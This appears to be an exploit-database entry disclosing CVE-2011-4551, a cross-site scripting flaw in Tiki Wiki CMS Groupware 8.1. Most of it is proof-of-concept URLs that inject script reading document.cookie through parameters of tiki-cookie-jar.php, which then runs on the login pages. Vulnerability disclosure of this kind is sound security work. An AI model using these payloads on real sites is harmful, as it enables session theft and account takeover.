Tiki Wiki CMS Groupware 8.1 'show_errors' Parameter HTML Injection Vulnerability. CVE-2011-4551. Webapps exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/51128/info

Tiki Wiki CMS Groupware is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible. 

Tested with Firefox 7.01

Visit this URL

http://www.example.com/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss=</style></script><script>alert(document.cookie)</script> -> blank site

But when you visit one of this pages, the XSS will be executed

http://www.example.com/tiki-8.1/tiki-login.php
http://www.example.com/tiki-8.1/tiki-remind_password.php

// browser source code

show_errors: 'y',
		xss: '</style></script><script>alert(document.cookie)</script>'
};

Another example:

http://www.example.com/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss1=</style></script><script>alert(document.cookie)</script>
http://www.example.com/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss2=</style></script><script>alert(document.cookie)</script>
http://www.example.com/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss3=</style></script><script>alert(document.cookie)</script>

All of them will be executed!

// browser source code

show_errors: 'y',
	xss1: '</style></script><script>alert(document.cookie)</script>',
	xss2: '</style></script><script>alert(document.cookie)</script>',
	xss3: '</style></script><script>alert(document.cookie)</script>'
};
